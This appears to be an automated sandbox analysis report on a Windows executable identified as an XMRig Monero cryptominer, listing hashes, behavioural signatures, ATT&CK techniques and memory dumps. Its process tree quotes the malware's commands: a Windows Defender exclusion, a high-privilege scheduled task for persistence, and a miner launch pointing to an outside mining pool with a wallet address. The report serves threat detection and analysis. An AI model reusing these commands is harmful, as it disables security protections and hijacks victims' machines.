xmrig | 6ee27f5f4be9f1cfeb98b5190367ca60d1c81b527b730d808b4b29e30b44931d

General

Target

file.exe
Size

2.7MB
MD5

4f62eb4f1a2c1fc46df059120e6e6cef
SHA1

bd2fcde45f562ec5b0c741fa102c3dfa0234d511
SHA256

6ee27f5f4be9f1cfeb98b5190367ca60d1c81b527b730d808b4b29e30b44931d
SHA512

38c9d721302f345a8c1efcf6d40a735e181b67d2fe8e19bf5a20e6347de325f1c974f553ad640553f1fe3546729600a8d485964a36fbb6d76d7c58244ac72dd3
SSDEEP

49152:IvEl6mjUImipdKvT6QD66iMVptYC0qs7QVlWSwI9SrxCsU:IamScvPfOCHs8yCs

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

resource	yara_rule
behavioral2/memory/736-159-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/736-160-0x0000000140343234-mapping.dmp	xmrig
behavioral2/memory/736-161-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/736-162-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/736-164-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/736-168-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Control Panel\International\Geo\Nation	file.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3152 set thread context of 736	3152	file.exe	92

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
3920	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4380	powershell.exe
4380	powershell.exe
3152	file.exe
3152	file.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
648	Process not Found

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3152	file.exe
Token: SeDebugPrivilege	4380	powershell.exe
Token: SeLockMemoryPrivilege	736	vbc.exe
Token: SeLockMemoryPrivilege	736	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
736	vbc.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3152 wrote to memory of 4380	3152	file.exe	81
PID 3152 wrote to memory of 4380	3152	file.exe	81
PID 3152 wrote to memory of 1836	3152	file.exe	89
PID 3152 wrote to memory of 1836	3152	file.exe	89
PID 1836 wrote to memory of 3920	1836	cmd.exe	91
PID 1836 wrote to memory of 3920	1836	cmd.exe	91
PID 3152 wrote to memory of 736	3152	file.exe	92
PID 3152 wrote to memory of 736	3152	file.exe	92
PID 3152 wrote to memory of 736	3152	file.exe	92
PID 3152 wrote to memory of 736	3152	file.exe	92
PID 3152 wrote to memory of 736	3152	file.exe	92
PID 3152 wrote to memory of 736	3152	file.exe	92
PID 3152 wrote to memory of 736	3152	file.exe	92
PID 3152 wrote to memory of 736	3152	file.exe	92
PID 3152 wrote to memory of 736	3152	file.exe	92
PID 3152 wrote to memory of 736	3152	file.exe	92
PID 3152 wrote to memory of 736	3152	file.exe	92
PID 3152 wrote to memory of 736	3152	file.exe	92
PID 3152 wrote to memory of 736	3152	file.exe	92
PID 3152 wrote to memory of 736	3152	file.exe	92

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1836
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"
    3⤵
    - Creates scheduled task(s)
    PID:3920
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:736

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Scripting

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Scripting

1

T1064

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/736-159-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/736-172-0x0000024FD24C0000-0x0000024FD24E0000-memory.dmp

Filesize
128KB

Download
memory/736-171-0x0000024FD0AF0000-0x0000024FD0B10000-memory.dmp

Filesize
128KB

Download
memory/736-170-0x0000024FD24C0000-0x0000024FD24E0000-memory.dmp

Filesize
128KB

Download
memory/736-169-0x0000024FD0AF0000-0x0000024FD0B10000-memory.dmp

Filesize
128KB

Download
memory/736-168-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/736-165-0x0000024FD0AB0000-0x0000024FD0AF0000-memory.dmp

Filesize
256KB

Download
memory/736-164-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/736-163-0x0000024FD0A70000-0x0000024FD0A90000-memory.dmp

Filesize
128KB

Download
memory/736-162-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/736-161-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/3152-158-0x00007FF9F08A0000-0x00007FF9F08DB000-memory.dmp

Filesize
236KB

Download
memory/3152-136-0x00007FF9D5CD0000-0x00007FF9D5D8D000-memory.dmp

Filesize
756KB

Download
memory/3152-134-0x00007FF9F3790000-0x00007FF9F382E000-memory.dmp

Filesize
632KB

Download
memory/3152-137-0x00007FF9F32F0000-0x00007FF9F3491000-memory.dmp

Filesize
1.6MB

Download
memory/3152-151-0x0000000001640000-0x0000000001681000-memory.dmp

Filesize
260KB

Download
memory/3152-150-0x0000000000630000-0x0000000000940000-memory.dmp

Filesize
3.1MB

Download
memory/3152-152-0x00007FF9D4C80000-0x00007FF9D5741000-memory.dmp

Filesize
10.8MB

Download
memory/3152-133-0x00007FF9D60E0000-0x00007FF9D618A000-memory.dmp

Filesize
680KB

Download
memory/3152-145-0x00007FF9D4C80000-0x00007FF9D5741000-memory.dmp

Filesize
10.8MB

Download
memory/3152-155-0x00007FF9D3170000-0x00007FF9D31A5000-memory.dmp

Filesize
212KB

Download
memory/3152-156-0x00007FF9D05C0000-0x00007FF9D06C2000-memory.dmp

Filesize
1.0MB

Download
memory/3152-144-0x00007FF9F19D0000-0x00007FF9F19F7000-memory.dmp

Filesize
156KB

Download
memory/3152-135-0x00007FF9EF3F0000-0x00007FF9EF402000-memory.dmp

Filesize
72KB

Download
memory/3152-139-0x0000000000630000-0x0000000000940000-memory.dmp

Filesize
3.1MB

Download
memory/3152-157-0x00007FF9F3AD0000-0x00007FF9F3B3B000-memory.dmp

Filesize
428KB

Download
memory/3152-143-0x00007FF9D33B0000-0x00007FF9D34FE000-memory.dmp

Filesize
1.3MB

Download
memory/3152-142-0x0000000000630000-0x0000000000940000-memory.dmp

Filesize
3.1MB

Download
memory/3152-138-0x00007FF9D4C80000-0x00007FF9D5741000-memory.dmp

Filesize
10.8MB

Download
memory/3152-141-0x00007FF9F3580000-0x00007FF9F35AB000-memory.dmp

Filesize
172KB

Download
memory/3152-140-0x0000000001640000-0x0000000001681000-memory.dmp

Filesize
260KB

Download
memory/3152-166-0x0000000000630000-0x0000000000940000-memory.dmp

Filesize
3.1MB

Download
memory/3152-167-0x00007FF9D4C80000-0x00007FF9D5741000-memory.dmp

Filesize
10.8MB

Download
memory/4380-147-0x000001C776460000-0x000001C776482000-memory.dmp

Filesize
136KB

Download
memory/4380-149-0x00007FF9D4C80000-0x00007FF9D5741000-memory.dmp

Filesize
10.8MB

Download
memory/4380-148-0x00007FF9D4C80000-0x00007FF9D5741000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads